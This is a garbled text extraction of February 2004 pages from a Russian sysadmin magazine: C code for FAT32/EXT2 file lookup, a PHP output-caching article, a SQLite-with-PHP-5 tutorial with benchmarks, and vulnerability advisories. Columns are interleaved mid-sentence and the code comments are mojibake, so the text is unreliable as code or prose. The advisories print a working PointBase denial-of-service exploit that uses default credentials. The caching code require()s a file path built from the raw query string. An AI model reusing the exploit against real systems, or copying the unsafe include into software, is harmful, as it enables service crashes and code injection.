№2(15), февраль 2004 53


администрирование
содержимом каталога элемент, соответствующий искомо- И в заключение – небольшая правка к статье «Архи-
му файлу: тектура файловой системы EXT2» ([3]).
Эта правка касается функции определения номера
int get_dentry(struct split_name *sn) inode по имени файла get_i_num(). Старый вариант этой
{
int i = 0; функции выглядел так:

Указатель dir_entry настроен на область памяти, содер- int get_i_num(char *name)


{
жащую массив записей каталога, в котором мы собира- int i = 0, rec_len = 0;
емся искать файл (или каталог). Для поиска организуем struct ext2_dir_entry_2 dent;
цикл и найденную запись поместим в глобальную струк- for(; i < 700; i++) {
туру dentry: memcpy((void *)&dent, (buff + rec_len), sizeof(dent));
if(!memcmp(dent.name, name, dent.name_len)) break;
rec_len += dent.rec_len;
for(;;i++) { }

memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), return dent.inode;


sizeof(dentry)); }

if(!(memcmp(dentry.name, sn->name, sn->name_len)) && ↵


!(memcmp(dentry.ext, sn->ext, sn->ext_len))) Исправленный вариант:
break;
if(!dentry.name[0]) return -1; int get_i_num(char *name)
} {
return 0;
} /* Ïàðàìåòð ôóíêöèè – èìÿ ôàéëà. Âîçâðàùàåìîå çíà÷åíèå –
* íîìåð inode ôàéëà.
*/
На этом рассмотрение модуля чтения файла с разде-
int rec_len = 0;
ла FAT32 завершим. // ýòà ñòðóêòóðà îïèñûâàåò ôîðìàò çàïèñè êîðíåâîãî êàòàëîãà:
Исходные тексты модуля находятся в каталоге FAT32, struct ext2_dir_entry_2 dent;
файл fat32.c. /* Â ãëîáàëüíîì áóôåðå buff íàõîäèòñÿ ìàññèâ çàïèñåé êàòàëîãà.
* Äëÿ îïðåäåëåíèÿ ïîðÿäêîâîãî íîìåðà inode ôàéëà íåîáõîäèìî
* íàéòè â ýòîì ìàññèâå çàïèñü ñ èìåíåì ýòîãî ôàéëà.
Отличия в организации хранения записей * Äëÿ ýòîãî îðãàíèçóåì öèêë:
о файлах в каталогах для файловых */
систем FAT и EXT2 for(;;) {
Несколько слов об отличиях в организации хранения запи-
/* Êîïèðóåì â ñòðóêòóðó dent çàïèñè êàòàëîãà: */
сей о файлах в каталогах для файловых систем FAT и EXT2.
Структура файловой системы EXT2 была рассмотрена в [3]. memcpy((void *)&dent, (buff + rec_len), sizeof(dent));
C FAT мы только что ознакомились – в ней все элемен- /* Äëèíà èìåíè ôàéëà, ðàâíàÿ íóëþ, îçíà÷àåò, ÷òî ìû
ты каталога имеют фиксированную величину. При созда- * ïåðåáðàëè âñå çàïèñè êàòàëîãà è çàïèñè ñ èìåíåì
* íàøåãî ôàéëà íå íàøëè. Çíà÷èò, ïîðà âîçâðàùàòüñÿ:
нии файла драйвер файловой системы ищет первую неза- */
нятую позицию и заполняет её информацией о файле. Если if(!dent.name_len) return -1;
длина каталога не умещается в одном кластере, то под него /* Ïîèñê âûïîëíÿåòñÿ ïóòåì ñðàâíåíèÿ èìåí ôàéëîâ.
отводится ещё один кластер и т. д. * Åñëè èìåíà ñîâïàäàþò - âûõîäèì èç öèêëà:
*/
Рассмотрим, как обстоят дела в EXT2.
Предположим, у нас есть раздел с файловой системой if(!memcmp(dent.name, name, strlen(name))) break;
EXT2, размер блока равен 4096 байт. На этом разделе мы /* Åñëè èìåíà íå ñîâïàëè - ñìåùàåìñÿ ê ñëåäóþùåé çàïèñè:
создаем каталог. Размер каталога будет равен размеру */
блока – 4096 байт. В каталоге операционная система сра- rec_len += dent.rec_len;
зу создаёт две записи – запись текущего и запись роди- }
тельского каталогов. Запись текущего каталога займет 12 /*  ñëó÷àå óñïåõà âîçâðàùàåì íîìåð inode ôàéëà: */
байт, в то время как длина записи родительского будет
return dent.inode;
равна 4084 байта. Создадим в этом каталоге какой-нибудь }
файл. После этого в каталоге будут присутствовать три
записи – запись текущего каталога длиной 12 байт, запись
родительского каталога длиной уже 12 байт, и запись со- Литература:
зданного файла длиной, как вы наверно догадались, 4072 1. В.Кулаков. Программирование на аппаратном уров-
байт. Если мы удалим созданный файл, длина записи ро- не: специальный справочник. 2-е изд. / – СПб.: Пи-
дительского каталога опять возрастёт до 4084 байт. тер, 2003 г. – 848 с.
Таким образом, при создании файла драйвер файловой 2. А.В.Гордеев, А.Ю.Молчанов. Системное программное
системы EXT2 ищет в каталоге запись максимальной дли- обеспечение / – СПб.: Питер – 2002 г.
ны и расщепляет её, выделяя место для новой записи. Ну, а 3. В.Мешков. «Архитектура файловой системы ext2»,
если всё-таки места не хватает, под каталог отводится ещё журнал «Системный администратор», № 11(12), но-
один блок, и длина каталога становится равной 8192 байт. ябрь 2003 г. – 26-32 с.

54
web

КЭШИРОВАНИЕ ВЕБ-СЦЕНАРИЕВ

АНДРЕЙ УВАРОВ

Часто при написании веб-сценариев мы забываем, что уве- ного сценария будет просто выводиться содержимое этих
личение кода, использование БД и т. п. ведёт к увеличению файлов. Итак, перейдем непосредственно к описанию ал-
времени выполнения сценария и увеличению нагрузки на горитма:
сервер. Одним из решений данной проблемы является кэ- 1. Если данный запрос был кэширован и временный файл
ширование. Для ясности необходимо добавить, что речь не не устарел, то переход на 2, иначе переход на 3.
идёт о кэшировании на браузере или прокси-сервере. 2. Вывод пользователю содержимого временного фай-
Суть довольно проста, и всё сводится к сохранению ла, переход на 8.
выводимой клиенту информации во временных файлах. 3. Перенаправление вывода в буфер (так называемая
При последующих запросах вместо выполнения оригиналь- буферизация вывода).

56
web
4. Тело сценария. // â êàòàëîãå ïðèìåðà íåîáõîäèìî ñîçäàòü ïîäêàòàëîã
5. Сохранение содержимого буфера во временный файл. // tmp ñ ïðàâàìè «write by others»
// â ýòîì êàòàëîãå áóäóò õðàíèòüñÿ âðåìåííûå ôàéëû
6. Вывод содержимого буфера пользователю. $time2live= 10;
7. Очистка буфера. // óñòàíàâëèâàåì âðåìÿ îáíîâëåíèÿ êýøà â 10 ñåêóíä
globals $fname, $time2live;
8. Выход. require('cashe_begin.inc.php');
?>
Данный алгоритм отображён в виде структурной схе- <?
мы на рисунке: echo "\n";
echo time();
echo "\n";
?>
<?
require("cashe_end.inc.php");
?>

Приведённый пример является общим. Важным пара-


Кеширован Нет метром является время, за которое наш кэш (временный
и неустарел? файл) будет устаревать. При установке этого параметра
необходимо знать, насколько часто будут обновляться дан-
ные по текущему запросу. Иначе возможна ситуация, ког-
Да да пользователь будет получать интересующие его дан-
Вывод кэша ные с запозданием, или, что хуже того, некоторые дан-
пользователю ные будут теряться. К примеру, время устаревания вре-
менного файла равно Т, а время обновления базы дан-
ных, из которой берётся информация, равно Т/2, таким
образом, пользователь не увидит тех изменений, которые
Включается происходили за период времени от М до М+Т, где М – вре-
буферизация мя, когда произошло обновление временного файла. Но
вывода в такую ситуацию попасть можно, наверное, только по
большой невнимательности.
Тело сценария

Вывод
и кэширование

Очистка буфера

Ðèñóíîê 1
Перейдём непосредственно к примеру. Ðèñóíîê 2
Но есть у кэширования и недостатки, которые необхо-
Íà÷àëî êýøèðîâàíèÿ. димо учитывать при его использовании. Пользователь мо-
<?
// cashe_begin.inc.php жет сконструировать запрос и получить напрямую любой
if(file_exists($fname) and ↵ из временных файлов, содержимое которых может быть
(time()-filemtime($fname)) < $time2live){
require($fname); не предназначено для посторонних. Также пользователь
exit(); может переставлять переменные в запросе местами. На-
}
ob_start(); пример, для запросов:
?>
http://nowhere.no/index.php?id1=a&id2=b
Êîíåö êýøèðîâàíèÿ. http://nowhere.no/index.php?id2=b&id1=a
<?
// cashe_end.inc.php
$file= @fopen($fname, “w”); по сути являющихся одним и тем же, будут создаваться
@fwrite($file, ob_get_contents()); два временных файла, заполняя тем самым дисковое про-
ob_end_flush(); // âûâîä ñîäåðæèìîãî áóôåðà ïîëüçîâàòåëþ
ob_end_clean(); // î÷èñòêà áóôåðà странство.
?> В заключение лишь хочется сказать, что для достиже-
ния действительно высоких результатов стоит принимать
Òåëî ñöåíàðèÿ. во внимание и другие решения, такие как PHP Accelerator
<?
// test.php или управление кэшированием посредством посылки за-
$fname= './tmp'.'/test.php'.getenv("QUERY_STRING"); головков HTTP (использование функции header()).

№2(15), февраль 2004 57


web

ИСПОЛЬЗОВАНИЕ SQLITE И PHP 5

ДЕНИС КОЛИСНИЧЕНКО
58
web
SQLite – альтернатива MySQL жает универсальность решения и лишает нас возможнос-
Три наиболее важных фактора веб-проектов – это быст- ти разделить нагрузку на аппаратные ресурсы между не-
рота, небольшая ресурсоемкость и сравнительно малая сколькими компьютерами.
себестоимость. Основная масса веб-проектов не распо- Перечислю основные характеристики SQLite:
лагает ни кластерной архитектурой, ни выделенным сер- ! соответствует стандарту SQL-92. Правда, не полнос-
вером баз данных. Под них не закупается дорогостоящее тью: некоторые функции не поддерживаются, но этим
программное обеспечение. Типичный веб-сайт – это не- «грешил» и MySQL;
любимый пасынок в статье расходов. ! база данных (включая таблицы и индексы) хранится в
Наибольшую популярность и распространенность сре- одном едином файле;
ди веб-разработчиков давно и заслуженно обрел сервер ! максимальный размер файла базы данных – 2 Тб, т.е.
баз данных MySQL. Он бесплатен, прост в установке, вхо- суммарный размер базы данных, включая таблицы дан-
дит в состав большинства дистрибутивов Linux, почти на- ных и индексы, не может превышать 2 Тб;
верняка окажется на сервере вашего хостинг-провайде- ! существует реализация для платформ Linux и Windows;
ра. Это – рабочая лошадка Web. ! файлы баз данных имеют универсальный формат и мо-
Долгое время поддержка работы с MySQL была по гут быть перенесены из одной операционной системы в
умолчанию встроена в интерпретатор PHP. Но не все так другую без потерь и дополнительных преобразований.
безоблачно. Сейчас почти повсеместно используется PHP Т.е. база данных, созданная на компьютере под управле-
4-й версии, но не за горами выход следующей, пятой вер- нием ОС Linux, может быть просто скопирована на ком-
сии. И вот тут ситуация может измениться. пьютер с ОС Windows и наоборот. Это большой «плюс»;
Из-за возникающих лицензионных проблем поддерж- ! примерно в два раза быстрее, чем PostgreSQL и MySQL.
ка MySQL скорее всего не будет включена в PHP 5 по умол-
чанию. Так, из бета-версии PHP 5 уже удалена встроен- Результаты сравнительного тестирования рассмотрим
ная поддержка MySQL, зато появилась поддержка SQLite. в конце статьи, а пока поговорим об установке и функци-
Замечание: речь идет о встроенной поддержке по умол- ональных возможностях SQLite.
чанию. Возможность собрать PHP с поддержкой MySQL
остается по-прежнему, но требует «дополнительных те- Установка SQLite
лодвижений». А это, согласитесь, сделает не каждый. Пятая версия PHP обладает встроенной поддержкой SQLite,
MySQL всегда был ориентирован на быстроту, при этом поэтому вам не нужно производить никаких дополнитель-
частично жертвуя дополнительными возможностями. Разу- ных действий по подключению SQLite к PHP5: просто заг-
меется, в проектах, предполагающих более сложную струк- рузите SQLite и работайте.
туру базы данных, строгий контроль целостности и сложные Скачать SQLite можно по адресу:
запросы к базе данных, стоит использовать более развитые ! http://pecl.php.net/package/SQLite
СУБД, например, PostgreSQL или Sybase. Но большинство ! http://www.sqlite.org/
малых и средних проектов, таких как интернет-каталог, об-
новляемый прайс-лист или веб-форум, вполне позволяют Поддержка SQLite для Windows реализована традици-
обойтись компактным, слегка ограниченным, но быстрым онно для PHP, в виде единой библиотеки – php_sqlite.dll,
сервером баз данных. Традиционно таким сервером и был скачать которую вы можете по адресу http://snaps.php.net/
MySQL. Подойдет ли SQLite в качестве достойной замены? win32/PECL_STABLE/php_sqlite.dll
Как любой программный продукт, SQLite обладает сво- Подключение SQLite проблем не вызывает, поэтому под-
ими преимуществами и недостатками. Среди его преиму- робно останавливаться на нем мы не будем. Если вы рабо-
ществ бесплатность и высокая производительность, по- таете под ОС Windows, то скачайте библиотеку php_sqlite.dll,
мните о «трех китах» веб-программирования? Но ничто скопируйте в каталог для модулей расширений PHP и «про-
не дается даром. Производительность SQLite достигает- пишите» его в файле конфигурации php.ini:
ся не столько за счет уникального алгоритма, сколько из-
за определенных ограничений его возможностей. extension=php_sqlite.dll
Традиционные системы управления базами данных по-
строены на архитектуре клиент-сервер. Это значит, что Каталог модулей расширений задается директивой
клиент-приложение обращается к серверу-хранилищу дан- «extension_dir» файла конфигурации. php.ini. По умолча-
ных с запросом для получения данных или для выполне- нию это подкаталог «extensions» каталога, в который вы
ния каких-либо операций. Сервер выполняет нужные опе- установили PHP.
рации и возвращает программе-клиенту результат своей Для установки SQLite для Linux скачайте файл
работы. Такой подход предполагает возможность разме- sqlite.tar.gz (http://www.sqlite.org/sqlite.tar.gz). Затем выпол-
щать приложение и хранилище данных на разных компь- ните следующую последовательность команд:
ютерах, разделяя нагрузку на аппаратные ресурсы.
В этом смысле SQLite не является настоящим серве- # Ðàñïàêîâûâàåì àðõèâ â êàòàëîã «sqlite»
tar xzf sqlite.tar.gz
ром баз данных. То есть он умеет работать только с фай- # Ñîçäàåì êàòàëîã äëÿ ñáîðêè SQLite – «bld»
ловыми базами данных, размещенными в виде файлов mkdir bld
# Ïåðåõîäèì â ýòîò êàòàëîã
на локальном диске вашего компьютера. Для сравнитель- cd bld
но небольших проектов это не является критичным, но сни- # Çàïóñêàåì êîíôèãóðàòîð

№2(15), февраль 2004 59


web
../sqlite/configure ! sqlite_current – получает текущую запись из результата;
# Çàïóñêàåì make äëÿ ñáîðêè SQLite
make
! sqlite_error_string – возвращает текстовое описание
ошибки;
Указанная последовательность действий необязатель- ! sqlite_fetch_array – получает следующую запись из мас-
на. Например, вам необязательно создавать отдельный сива-результата;
каталог для сборки. Однако я настоятельно рекомендую ! sqlite_fetch_single – возвращает первую колонку (поле)
это сделать, чтобы исходные коды не «перемешались» с записи;
откомпилированными модулями SQLite. ! sqlite_fetch_string –псевдоним для sqlite_fetch_single;
Сценарий конфигуратора configure для своей работы ! sqlite_field_name – возвращает имя поля;
использует autoconf 2.50 и libtool, поэтому проследите, ! sqlite_has_more – позволяет узнать, есть ли еще записи;
чтобы до запуска конфигуратора эти пакеты были уста- ! sqlite_last_error – возвращает код последней ошибки;
новлены в вашей системе. ! sqlite_last_insert_rowid – возвращает идентификатор
В процессе работы конфигуратор проверит, установле- последней добавленной записи;
ны ли все необходимые для сборки и работы SQLite биб- ! sqlite_libversion – возвращает версию SQLite;
лиотеки и программы. Если чего-то не хватает, вы увидите ! sqlite_next – переходит к следующей записи;
соответствующее сообщение. Если же ваша система соот- ! sqlite_num_fields – возвращает число полей (колонок)
ветствует требованиям конфигуратора, предупреждений не в результате;
появится, и вы можете запускать программу сборки «make». ! sqlite_num_rows – возвращает число записей в резуль-
После сборки SQLite запустите сценарий install-sh для ус- тате;
тановки SQLite, вспомогательных программ и сценариев, а ! sqlite_open – открывает базу данных;
также базы данных. Вспомогательными утилитами являются: ! sqlite_popen – открывает «постоянное» соединение с
! showdb – утилита для просмотра базы данных; базой данных. Если база данных не существует, она
! showjournal – утилита для просмотра журнала базы дан- будет создана;
ных; ! sqlite_query – выполняет SQL-запрос и возвращает
! diffdb – утилита сравнения двух баз данных. идентификатор результата;
! sqlite_rewind – переходит к первой записи.
Как уже отмечалось, SQLite работает с файловыми ба-
зами данных. При этом всю базу данных SQLite хранит в Остановимся на этих функциях подробнее.
одном файле. В MySQL используется несколько другой
подход: база данных – это каталог, содержащий файлы Открытие и закрытие базы данных
таблиц и индексов. Для открытия базы данных используется функция
sqlite_open():
Основные функции SQLite
В SQLite существуют аналогичные MySQL константы, от- resource sqlite_open ( string filename [, int mode ↵
[, string &error_message]])
вечающие за формирование результата выборки из базы
данных: Первый параметр – это имя файла таблицы, второй –
! SQLITE_ASSOC – результат будет возвращаться в виде режим доступа к таблице. По умолчанию используется
ассоциативного массива. режим 0666, позволяющий читать и записывать файл всем
! SQL_NUM – результат будет возвращен в виде спис- желающим – владельцу (то есть вам), вашей группе и всем
ка, то есть ключи массива – числа. остальным пользователям. Последний параметр – это
! SQL_BOTH – двойное индексирование элементов мас- строка, в которую будет записано сообщение об ошибке,
сива: в зависимости от вашего желания вы можете если базу данных невозможно открыть.
работать с массивом так, если бы он был ассоциатив- В случае успеха функция возвращает дескриптор базы
ным, и так, если бы он был списком. данных, иначе – значение FALSE («ложь»).
Для того чтобы закрыть базу данных, используется
Эти константы аналогичны константам MYSQL_ASSOC, функция sqlite_close():
MYSQL_BOTH, MYSQL_NUM для MySQL.
Вот список основных функций для работы с SQLite, sqlite_close( resource dbhandle )
приведенный в алфавитном порядке.
! sqlite_array_query – выполняет SQL-запрос и возвра- В качестве её аргумента следует указать дескриптор
щает результат в виде массива, тип которого задан вы- соответствующей базы данных.
шеупомянутыми константами; Замечание: несмотря на то, что механизм работы пред-
! sqlite_busy_timeout – устанавливает тайм-аут; полагает автоматическое закрытие используемых ресур-
! sqlite_changes – возвращает число записей, которые сов после выполнения сценария, принудительное закры-
были изменены в результате выполнения последнего тие базы данных – хороший тон программирования. Не
SQL-запроса; следует пренебрегать этой операцией. Автоматическая
! sqlite_close – закрывает базу данных; «сборка мусора» и закрытие ресурсов могут произойти
! sqlite_column – получает одно поле из записи, то есть воз- не сразу. Это может породить некоторые неожиданные
вращает одну конкретно указанную колонку результата; коллизии, которые довольно сложно будет отлавливать.

60
web
Исключение – использование постоянного соединения с Если запрос невозможно выполнить, функция
базой данных. sqlite_query() возвращает FALSE.
Еще один способ получить доступ к базе данных –
функция sqlite_popen(): Функции для работы с результатом
Функция sqlite_column() используется для получения толь-
resource sqlite_popen ( string filename [, int mode ↵ ко одной колонки из всего результата выборки:
[, string &error_message]])

Эта функция открывает «постоянное» соединение с mixed sqlite_column ( resource result, ↵


mixed index_or_name [, bool decode_binary])
базой данных, её аргументы аналогичны аргументам фун-
кции sqlite_open(). Первый параметр – это результат, второй – имя поля
Функция sqlite_popen() использует механизм постоянных или индекс, а третий параметр указывает на необходи-
ресурсов PHP. Вкратце это выглядит так: вы открываете мость двоичного кодирования.
постоянное соединение с базой данных, работаете, потом Функция sqlite_fetch_single() возвращает первое поле
работа сценария завершается. При этом если вы не указа- текущей записи:
ли принудительно, закрытия и освобождения ресурса не
происходит. То есть, при следующем запуске сценария string sqlite_fetch_single ( resource result ↵
[, int result_type [, bool decode_binary]])
функция popen() попытается найти открытое постоянное
соединение и, если оно существует, будет его использо- Первый параметр – это результат, а второй – тип ре-
вать, а не открывать базу данных заново. При частых за- зультата. Данная функция похожа на функцию
пусках сценария это позволяет повысить его производи- sqlite_fetch_array(), но возвращает только первое поле, а
тельность, так не тратится время на открытие базы. не все поля текущей записи сразу.
Однако при большом количестве одновременных об-
ращений к базе данных взамен этой экономии вы можете Ëèñòèíã 2. Ôóíêöèÿ sqlite_fetch_single
<?php
получить накопление открытых соединений с базой дан- if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {
ных, т.е. увеличить нагрузку на внешние ресурсы систе- $sql = "SELECT id FROM tbl WHERE id = 77";
$res = sqlite_query($dbhandle, $sql);
мы. Второй неприятный момент, с которым вы можете тут
столкнуться – некорректное завершение сценария, при if (sqlite_num_rows($res) > 0) {
котором могут оставаться потерянные соединения с ба- // ïå÷àòàåì çíà÷åíèå «77»
зой данных. В общем, выбор между этими двумя спосо- echo sqlite_fetch_single($res);
}
бами требует вдумчивого подхода и некоторого анализа sqlite_close($dbhandle);
предполагаемой работы вашего приложения. }
?>

Выполнение запросов Функция sqlite_array_query() выполняет SQL-запрос и


Для выполнения запросов к базе данных используется возвращает результат в виде массива:
функция sqlite_query():
array sqlite_array_query ( resource dbhandle, ↵
resource sqlite_query ( resource dbhandle, ↵ string query [, int result_type [, bool decode_binary]])
string query [,int result_type])
resource sqlite_query ( string query, ↵ Первый параметр – это дескриптор базы данных, вто-
resource dbhandle [,int result_type]) рой – запрос, третий – тип результата (см. константы
SQLite), а третий – это флаг кодирования данных.
Обратите внимание, что функцию можно вызывать дво- Функция sqlite_next() перемещает указатель результа-
яко: или сначала указывать дескриптор базы данных, а по- та на следующую запись:
том – SQL-запрос или наоборот. Кроме того, этой функции
можно непосредственно указать необязательный параметр, bool sqlite_next ( resource result)
определяющий тип возвращаемого результата в виде ас-
социативного, нумерованного или смешанного массива. Параметр result – это результат. Если функция верну-
ла FALSE, значит, достигнута последняя запись.
Ëèñòèíã 1. Îòêðûòèå è çàêðûòèå áàçû äàííûõ Функция sqlite_rewind перемещает указатель резуль-
<?php
// îòêðûâàåì áàçó äàííûõ èëè çàâåðøàåì тата на первую запись:
// âûïîëíåíèå ñ ñîîáùåíèåì îá îøèáêå
if ( !$db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) { bool sqlite_rewind ( resource result)
die ($sqliteerror);
}
// ñîçäàåì òàáëèöó tbl
sqlite_query($db,'CREATE TABLE tbl (bar varchar(20))'); Функция sqlite_seek() переходит к записи с указанным
номером:
// äîáàâëÿåì â òàáëèöó íîâûå çàïèñè
sqlite_query($db,"INSERT INTO tbl VALUES ('val')");
bool sqlite_seek ( resource result, int rownum)
// ïîëó÷àåì ðåçóëüòàò â âèäå àññîöèàòèâíîãî ìàññèâà
$result = sqlite_query($db,'select bar from tbl', SQLITE_ASSOC);
// âûâîäèì ðåçóëüòàò Если функция возвращает FALSE, значит, нет записи
var_dump(sqlite_fetch_array($result));
?> с таким номером.

№2(15), февраль 2004 61


web
Информационные функции INSERT INTO t1 VALUES(2,75560,'seventy five thousand ↵
Функция sqlite_changes() возвращает число записей, ко- five hundred sixty');
... 995 ñòðîê ïðîïóùåíî
торые были изменены в результате выполнения последне- INSERT INTO t1 VALUES(998,66289,'sixty six thousand ↵
го SQL-запроса: two hundred eighty nine');
INSERT INTO t1 VALUES(999,24322,'twenty four thousand ↵
three hundred twenty two');
int sqlite_changes ( resource dbhandle) INSERT INTO t1 VALUES(1000,94142,'ninety four thousand ↵
one hundred forty two');

Функция sqlite_field_name() возвращает имя поля по его


номеру:

string sqlite_field_name ( resource result, int field_index)

Функция sqlite_has_more() возвращает TRUE, если ре-


зультат еще содержит данные, иначе возвращается FALSE:

bool sqlite_has_more ( resource result)

Функция sqlite_last_error() возвращает код последней


ошибки: Äèàãðàììà 1: Ðåçóëüòàòû ïåðâîãî òåñòà (â ñåêóíäàõ)
Второй тест – выборка без индексов:
int sqlite_last_error ( resource dbhandle)
BEGIN;
SELECT count(*), avg(b) FROM t2 WHERE b>=0 AND b
а функция sqlite_error_string() – ее текстовое описание: SELECT count(*), avg(b) FROM t2 WHERE b>=100 AND b
... 96 ñòðîê ïðîïóùåíî
string sqlite_error_string( resource dbhandle ) SELECT count(*), avg(b) FROM t2 WHERE b>=9800 AND b
SELECT count(*), avg(b) FROM t2 WHERE b>=9900 AND b
COMMIT;
Функции sqlite_num_rows() и sqlite_num_fields() возвраща-
ют, соответственно, число записей и полей в результате:

int sqlite_num_rows(resource dbhandle)


int sqlite_num_fields(resource dbhandle)

Другие функции
Функция sqlite_busy_timeout() позволяет установить тайм-
аут ожидания для базы данных:

void sqlite_busy_timeout ( resource dbhandle, int milliseconds)

Напомню, что 1 секунда – это 1000 миллисекунд. Äèàãðàììà 2: Ðåçóëüòàòû âòîðîãî òåñòà
Третий тест – выборка со сравнением строки:
Результаты сравнительного тестирования
В первой части статьи, говоря об основных характеристи- BEGIN;
SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one%';
ках SQLite, я упомянул о том, что SQLite в два раза быст- SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%two%';
рее PostgreSQL и MySQL. ... 96 ñòðîê ïðîïóùåíî
SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%ninety nine%';
Чтобы не быть голословным, приведу результаты тес- SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one hundred%';
тирования. В качестве тестовой платформы использовал- COMMIT;
ся компьютер следующей конфигурации:
! процессор – AMD 1.6 ГГц Athlon;
! объем оперативной памяти – 1 Гб;
! жесткий диск EIDE;
! операционная система – Red Hat Linux 7.2.

Для сравнения использовались PostgreSQL версии


7.1.3 и MySQL версии 3.23.41. Версия SQLite, используе-
мая для тестирования, – 2.7.6.
Первый тест – вставка 1000 записей:

CREATE TABLE t1(a INTEGER, b INTEGER, c VARCHAR(100));


INSERT INTO t1 VALUES(1,13153,'thirteen thousand ↵ Äèàãðàììà 3: Ðåçóëüòàòû òðåòüåãî òåñòà
one hundred fifty three');

62
web
Как вы видите, при использовании простых запросов MySQL, то на этот раз SQLite оказался «проворнее» по-
SQLite ненамного ушел от MySQL. Он существенно бы- чти в три раза (2,899).
стрее, чем PostgreSQL, но сильная сторона последнего Приведем общую таблицу результатов тестирования,
не быстродействие, а большие функциональные воз- для того чтобы более наглядно оценить производитель-
можности. ность SQLite.
А теперь попробуем оправдать наши ожидания и по- Òàáëèöà 1. Îáùàÿ òàáëèöà ðåçóëüòàòîâ ñðàâíèòåëüíîãî òåñòè-
казать, что SQLite быстрее в два раза, чем MySQL. В ка- ðîâàíèÿ SQLite
честве тестового используем запрос, состоящий из 25 000
операторов обновления (UPDATE):
Четвертый тест – обновление числовых полей:

BEGIN;
UPDATE t2 SET b=468026 WHERE a=1;
UPDATE t2 SET b=121928 WHERE a=2; Более подробно о сравнительных результатах тести-
... 24996 ñòðîê ïðîïóùåíî рования вы можете прочитать на сайте продукта: http://
UPDATE t2 SET b=35065 WHERE a=24999;
UPDATE t2 SET b=347393 WHERE a=25000; www.sqlite.org.
COMMIT; Конечно, переход на SQLite потребует некоторых уси-
лий и изменений. Придется отказаться от автоматическо-
го инкремента при создании таблиц, возможности слож-
ного индексирования здесь также не предусмотрены.
Но в целом, исключив автоматическую поддержку
работы с MySQL, разработчики PHP предоставили нам
взамен простой, быстрый и бесплатный механизм для
работы с локальными базами данных в файловом пред-
ставлении.

Äèàãðàììà 4: Ðåçóëüòàòû ÷åòâåðòîãî òåñòà


Вот тут преимущество SQLite налицо!
Этот тест обновлял только целые поля. Согласитесь –
действие несколько надуманное и не такое уж частое.
Посмотрим, что будет, если нам нужно обновить 25 000
текстовых полей:
Пятый тест – обновление тестовых полей:

BEGIN;
UPDATE t2 SET c='one hundred forty eight thousand ↵
three hundred eighty two' WHERE a=1;
UPDATE t2 SET c='three hundred sixty six thousand ↵
five hundred two' WHERE a=2;
... 24996 ñòðîê ïðîïóùåíî
UPDATE t2 SET c='three hundred eighty three thousand ↵
ninety nine' WHERE a=24999;
UPDATE t2 SET c='two hundred fifty six thousand ↵
eight hundred thirty' WHERE a=25000;
COMMIT;

Äèàãðàììà 5: Ðåçóëüòàò ïÿòîãî òåñòà


Если сравнивать с предыдущим тестом, в котором
SQLite проявил себя «шустрее» в 2,6 раза по сравнению с

№2(15), февраль 2004 63


bugtraq

Уязвимость в Check Point FireWall-1/VPN-1 Выполнение произвольного кода


при обработке H.323 сообщений в директориях в Windows XP Explorer
Программа: Check Point FireWall-1/VPN-1 NG. Программа: Windows XP Explorer.
Опасность: Средняя. Опасность: Высокая.
Описание: Уязвимость обнаружена в Check Point FireWall- Описание: Уязвимость обнаружена в Microsoft Windows XP
1/VPN-1 обработке H.323 сообщений. Воздействие уязви- в Windows Explorer. Удаленный пользователь может скон-
мости не раскрывается. струировать директорию, которая, когда будет просмотре-
Сообщается, что Check Point FireWall-1 и VPN-1 уязви- на целевым пользователем, выполнит произвольный код
мы к H.323 тестам безопасности, недавно выпущенными на системе пользователя.
NISCC: http://www.uniras.gov.uk/vuls/2004/006489/h323.htm. Удаленный пользователь может сконструировать спе-
Check Point не сообщает дополнительные подробности об- циально обработанную «директорию», которая включает
наруженной уязвимости. HTML-код сценария и исполняемый Windows-файл. Когда
Согласно сообщению, VPN-1 обрабатывает H.323 со- целевой пользователь пытается просмотреть содержание
общения по умолчанию, а FireWall-1 нет. «директории», произвольный код будет автоматически вы-
URL производителя: http://www.checkpoint.com/techsupport/ полнен на целевом компьютере пользователя с привиле-
alerts/h323.html гиями текущего пользователя.
Решение: Установите H.323 обновление: http://www.check- URL производителя: http://www.Microsoft.com
point.com/techsupport/h323_hf.html Решение: Способов устранения обнаруженной уязвимо-
сти не существует в настоящее время.

Удаленнное переполнение буфера


в Serv-U FTP-сервере DoS против базы данных PointBase
Программа: Serv-U FTP Server до версии 4.2. Программа: PointBase 4.6.
Опасность: Средняя. Опасность: Средняя.
Описание: Переполнение стекового буфера обнаружено Описание: Уязвимость обнаружена в базе данных PointBase.
в Serv-U FTP-сервере. Удаленный пользователь может по- Удаленный пользователь может аварийно завершить ра-
лучить привилегии на системе. боту целевой системы, на которой запущен PointBase.
Удаленный авторизованный пользователь с доступом В конфигурации по умолчанию PointBase на все jar-
на запись, может использовать команду «site chmod» со файлы установлены все разрешения. В результате уда-
специально обработанным именем файла, чтобы вызвать ленный пользователь может представить специально об-
переполнение буфера и выполнить произвольный код на работанную PointBase команду, чтобы завершить работу
целевой системе. Код будет выполнен с привилегиями основной виртуальной Java-машины.
Serv-U-процесса. Пример/Эксплоит:
URL производителя: http://www.serv-u.com/
Решение: Обновите версию до Serv-U FTP Server 5.0 .(.!-- pointbase denial-of-service by marc schoenefeld --".).
.(.project default="dos".).
.(.property name="host" value="192.168.0.7"/.).
.(.target name="dos".).
.(.sql
Удаленный отказ в обслуживании против driver="com.pointbase.jdbc.jdbcUniversalDriver"
McAfee ePolicy Orchestrator url="jdbc:pointbase://${host}:9092/sample"
userid="pbpublic"
Программа: McAfee ePolicy Orchestrator. password="pbpublic"
Опасность: Средняя. print="true"
.).
Описание: Уязвимость обнаружена в McAfee ePolicy .(.![CDATA[
Orchestrator. Удаленный пользователь может аварийно за- //DROP FUNCTION CRASH5(VARCHAR(20));
CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20)
вершить работу агента. Удаленный пользователь может LANGUAGE JAVA NO SQL EXTERNAL NAME
представить отрицательное значение параметра Content- "sun.misc.MessageUtils::toStderr" PARAMETER STYLE SQL;
SELECT CRASH5(null) from SYSUSERS;
Length, чтобы вызвать переполнение буфера и аварийно ]].).
завершить работу целевого агента. .(.classpath.).
.(.pathelement location="pbclient.jar"/.).
.(./classpath.).
